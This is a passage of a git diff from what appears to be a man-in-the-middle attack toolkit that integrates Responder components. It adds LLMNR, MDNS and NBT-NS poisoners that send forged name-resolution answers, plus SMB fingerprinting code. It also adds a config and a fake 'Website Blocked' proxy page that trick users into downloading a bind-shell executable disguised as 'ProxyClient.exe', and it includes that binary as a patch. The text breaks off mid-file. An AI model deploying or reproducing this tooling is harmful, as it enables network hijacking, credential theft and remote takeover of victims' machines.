'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}' + [[HTTP Server]] + + #Set to On to always serve the custom EXE + Serve-Always = Off + + #Set to On to replace any requested .exe with the custom EXE + Serve-Exe = On + + #Set to On to serve the custom HTML if the URL does not contain .exe + Serve-Html = Off + + #Custom HTML to serve + HtmlFilename = config/responder/AccessDenied.html + + #Custom EXE File to serve + ExeFilename = config/responder/BindShell.exe + + #Name of the downloaded .exe that the client will see + ExeDownloadName = ProxyClient.exe + + #Custom WPAD Script + WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}' + + [[HTTPS Server]] + + #Configure SSL Certificates to use + SSLCert = config/responder/responder.crt + SSLKey = config/responder/responder.key [AppCachePoison] # HTML5 AppCache poisioning attack diff --git a/config/responder/AccessDenied.html b/config/responder/AccessDenied.html new file mode 100644 index 0000000..d79f811 --- /dev/null +++ b/config/responder/AccessDenied.html @@ -0,0 +1,31 @@ + + +Website Blocked: ISA Proxy Server + + + + +
+
+
New Security Policy: Website Blocked
+
    +
    +
    +
  • Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
  • +
    +
+
+ +
+ + + diff --git a/config/responder/BindShell.exe b/config/responder/BindShell.exe new file mode 100644 index 0000000000000000000000000000000000000000..b1a8e630176e120fc0f4f7af483880fb419d4937 GIT binary patch literal 25113 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 d%6Oe&n/Library/Python/2.7/lib/python/site-packages -echo 'import site; site.addsitedir("/usr/local/lib/python2.7/site-packages")' >> /Users//Library/Python/2.7/lib/python/site-packages/homebrew.pth -sudo pip install pypcap -brew tap brona/iproute2mac -brew install iproute2mac -``` -Then replace line 74 '/sbin/ip' with '/usr/local/bin/ip'. - - -####Thanks -* Laurent Gaffie -* psychomario diff --git a/core/netcreds/__init__.py b/core/netcreds/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/packetparser.py b/core/packetfilter.py similarity index 88% rename from core/packetparser.py rename to core/packetfilter.py index 0a8b1af..e8f0d5d 100644 --- a/core/packetparser.py +++ b/core/packetfilter.py @@ -6,10 +6,10 @@ from scapy.all import * from traceback import print_exc from netfilterqueue import NetfilterQueue -formatter = logging.Formatter("%(asctime)s [PacketParser] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("PacketParser", formatter) +formatter = logging.Formatter("%(asctime)s [PacketFilter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("PacketFilter", formatter) -class PacketParser: +class PacketFilter: def __init__(self, filter): self.filter = filter diff --git a/core/poisoners/arp/ARPpoisoner.py b/core/poisoners/ARP.py similarity index 100% rename from core/poisoners/arp/ARPpoisoner.py rename to core/poisoners/ARP.py diff --git a/core/poisoners/dhcp/DHCPpoisoner.py b/core/poisoners/DHCP.py similarity index 100% rename from core/poisoners/dhcp/DHCPpoisoner.py rename to core/poisoners/DHCP.py diff --git a/core/poisoners/icmp/ICMPpoisoner.py b/core/poisoners/ICMP.py similarity index 100% rename from core/poisoners/icmp/ICMPpoisoner.py rename to core/poisoners/ICMP.py diff --git a/core/poisoners/LLMNR.py b/core/poisoners/LLMNR.py new file mode 100644 index 0000000..930593e --- /dev/null +++ b/core/poisoners/LLMNR.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import socket +import struct +import core.responder.settings +import core.responder.fingerprint + +from core.reponder.packets import LLMNR_Ans +from core.responder.odict import OrderedDict +from SocketServer import BaseRequestHandler +from core.responder.utils import * + + +def Parse_LLMNR_Name(data): + NameLen = struct.unpack('>B',data[12])[0] + Name = data[13:13+NameLen] + return Name + +def IsOnTheSameSubnet(ip, net): + net = net+'/24' + ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) + netstr, bits = net.split('/') + netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) + mask = (0xffffffff << (32 - int(bits))) & 0xffffffff + return (ipaddr & mask) == (netaddr & mask) + +def IsICMPRedirectPlausible(IP): + dnsip = [] + for line in file('/etc/resolv.conf', 'r'): + ip = line.split() + if len(ip) < 2: + continue + if ip[0] == 'nameserver': + dnsip.extend(ip[1:]) + for x in dnsip: + if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: + print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) + print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) + print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) + else: + pass + +if settings.Config.AnalyzeMode: + IsICMPRedirectPlausible(settings.Config.Bind_To) + +# LLMNR Server class +class LLMNRServer(BaseRequestHandler): + + def handle(self): + data, soc = self.request + Name = Parse_LLMNR_Name(data) + + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Name) is not True: + return None + + if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): + + if settings.Config.Finger_On_Off: + Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) + else: + Finger = None + + # Analyze Mode + if settings.Config.AnalyzeMode: + LineHeader = "[Analyze mode: LLMNR]" + print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + + # Poisoning Mode + else: + Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) + Buffer.calculate() + soc.sendto(str(Buffer), self.client_address) + LineHeader = "[*] [LLMNR]" + + print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) + + if Finger is not None: + print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) + print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) diff --git a/core/poisoners/MDNS.py b/core/poisoners/MDNS.py new file mode 100644 index 0000000..959ac43 --- /dev/null +++ b/core/poisoners/MDNS.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import struct +import settings +import socket + +from SocketServer import BaseRequestHandler +from packets import MDNS_Ans +from utils import * + +def Parse_MDNS_Name(data): + data = data[12:] + NameLen = struct.unpack('>B',data[0])[0] + Name = data[1:1+NameLen] + NameLen_ = struct.unpack('>B',data[1+NameLen])[0] + Name_ = data[1+NameLen:1+NameLen+NameLen_+1] + return Name+'.'+Name_ + +def Poisoned_MDNS_Name(data): + data = data[12:] + Name = data[:len(data)-5] + return Name + +class MDNS(BaseRequestHandler): + + def handle(self): + + MADDR = "224.0.0.251" + MPORT = 5353 + + data, soc = self.request + Request_Name = Parse_MDNS_Name(data) + + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Request_Name) is not True: + return None + + try: + # Analyze Mode + if settings.Config.AnalyzeMode: + if Parse_IPV6_Addr(data): + print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) + + # Poisoning Mode + else: + if Parse_IPV6_Addr(data): + + Poisoned_Name = Poisoned_MDNS_Name(data) + Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To)) + Buffer.calculate() + soc.sendto(str(Buffer), (MADDR, MPORT)) + + print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) + + except Exception: + raise \ No newline at end of file diff --git a/core/poisoners/NBTNS.py b/core/poisoners/NBTNS.py new file mode 100644 index 0000000..0d550ec --- /dev/null +++ b/core/poisoners/NBTNS.py @@ -0,0 +1,79 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import socket +import settings +import fingerprint + +from packets import NBT_Ans +from SocketServer import BaseRequestHandler +from utils import * + +# Define what are we answering to. +def Validate_NBT_NS(data): + if settings.Config.AnalyzeMode: + return False + + if NBT_NS_Role(data[43:46]) == "File Server": + return True + + if settings.Config.NBTNSDomain == True: + if NBT_NS_Role(data[43:46]) == "Domain Controller": + return True + + if settings.Config.Wredirect == True: + if NBT_NS_Role(data[43:46]) == "Workstation/Redirector": + return True + + else: + return False + +# NBT_NS Server class. +class NBTNS(BaseRequestHandler): + + def handle(self): + + data, socket = self.request + Name = Decode_Name(data[13:45]) + + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Name) is not True: + return None + + if data[2:4] == "\x01\x10": + + if settings.Config.Finger_On_Off: + Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) + else: + Finger = None + + # Analyze Mode + if settings.Config.AnalyzeMode: + LineHeader = "[Analyze mode: NBT-NS]" + print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + + # Poisoning Mode + else: + Buffer = NBT_Ans() + Buffer.calculate(data) + socket.sendto(str(Buffer), self.client_address) + LineHeader = "[*] [NBT-NS]" + + print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1) + + if Finger is not None: + print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) + print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) diff --git a/core/poisoners/arp/__init__.py b/core/poisoners/arp/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/poisoners/dhcp/__init__.py b/core/poisoners/dhcp/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/poisoners/icmp/__init__.py b/core/poisoners/icmp/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/sergioproxy/ProxyPlugins.py b/core/proxyplugins.py similarity index 100% rename from core/sergioproxy/ProxyPlugins.py rename to core/proxyplugins.py diff --git a/core/responder/common.py b/core/responder/common.py deleted file mode 100644 index 904d865..0000000 --- a/core/responder/common.py +++ /dev/null @@ -1,102 +0,0 @@ -#common functions that are used throughout the Responder's code - -import os -import re - -#Function used to write captured hashs to a file. -def WriteData(outfile, data, user): - if os.path.isfile(outfile) == False: - with open(outfile,"w") as outf: - outf.write(data) - outf.write("\n") - outf.close() - if os.path.isfile(outfile) == True: - with open(outfile,"r") as filestr: - if re.search(user.encode('hex'), filestr.read().encode('hex')): - filestr.close() - return False - if re.search(re.escape("$"), user): - filestr.close() - return False - else: - with open(outfile,"a") as outf2: - outf2.write(data) - outf2.write("\n") - outf2.close() - -def Parse_IPV6_Addr(data): - if data[len(data)-4:len(data)][1] =="\x1c": - return False - if data[len(data)-4:len(data)] == "\x00\x01\x00\x01": - return True - if data[len(data)-4:len(data)] == "\x00\xff\x00\x01": - return True - else: - return False - -#Function name self-explanatory -def Is_Finger_On(Finger_On_Off): - if Finger_On_Off == True: - return True - if Finger_On_Off == False: - return False - -def RespondToSpecificHost(RespondTo): - if len(RespondTo)>=1 and RespondTo != ['']: - return True - else: - return False - -def RespondToSpecificName(RespondToName): - if len(RespondToName)>=1 and RespondToName != ['']: - return True - else: - return False - -def RespondToIPScope(RespondTo, ClientIp): - if ClientIp in RespondTo: - return True - else: - return False - -def RespondToNameScope(RespondToName, Name): - if Name in RespondToName: - return True - else: - return False - -##Dont Respond to these hosts/names. -def DontRespondToSpecificHost(DontRespondTo): - if len(DontRespondTo)>=1 and DontRespondTo != ['']: - return True - else: - return False - -def DontRespondToSpecificName(DontRespondToName): - if len(DontRespondToName)>=1 and DontRespondToName != ['']: - return True - else: - return False - -def DontRespondToIPScope(DontRespondTo, ClientIp): - if ClientIp in DontRespondTo: - return True - else: - return False - -def DontRespondToNameScope(DontRespondToName, Name): - if Name in DontRespondToName: - return True - else: - return False - -def IsOnTheSameSubnet(ip, net): - net = net+'/24' - ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) - netstr, bits = net.split('/') - netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) - mask = (0xffffffff << (32 - int(bits))) & 0xffffffff - return (ipaddr & mask) == (netaddr & mask) - -def FindLocalIP(Iface): - return OURIP \ No newline at end of file diff --git a/core/responder/fingerprint.py b/core/responder/fingerprint.py new file mode 100644 index 0000000..24432a5 --- /dev/null +++ b/core/responder/fingerprint.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import re +import sys +import socket +import struct +import string +import logging + +from utils import * +from odict import OrderedDict +from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData + +def OsNameClientVersion(data): + try: + length = struct.unpack('i", len(''.join(Packet)))+Packet + s.send(Buffer) + data = s.recv(2048) + + if data[8:10] == "\x72\x00": + Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") + Body = SMBSessionFingerData() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + s.send(Buffer) + data = s.recv(2048) + + if data[8:10] == "\x73\x16": + return OsNameClientVersion(data) + except: + print color("[!] ", 1, 1) +" Fingerprint failed" + return None diff --git a/core/responder/fingerprinter/Fingerprint.py b/core/responder/fingerprinter/Fingerprint.py deleted file mode 100644 index 8eda227..0000000 --- a/core/responder/fingerprinter/Fingerprint.py +++ /dev/null @@ -1,121 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import re,sys,socket,struct,string -from socket import * -from ..odict import OrderedDict -from ..packet import Packet - -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x00"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -class SMBNego(Packet): - fields = OrderedDict([ - ("wordcount", "\x00"), - ("bcc", "\x62\x00"), - ("data", "") - ]) - - def calculate(self): - self.fields["bcc"] = struct.pack(". -import re,socket,struct -from socket import * -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x00"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -class SMBNego(Packet): - fields = OrderedDict([ - ("wordcount", "\x00"), - ("bcc", "\x62\x00"), - ("data", "") - ]) - - def calculate(self): - self.fields["bcc"] = struct.pack("i", len(''.join(payload))) - return length - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x08"), - ("flag2", "\x01\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x3c\x1b"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -class SMBNegoData(Packet): - fields = OrderedDict([ - ("wordcount", "\x00"), - ("bcc", "\x54\x00"), - ("separator1","\x02" ), - ("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"), - ("separator2","\x02"), - ("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"), - ]) - def calculate(self): - CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"]) - self.fields["bcc"] = struct.pack(". -import struct -from odict import OrderedDict - -class Packet(): - 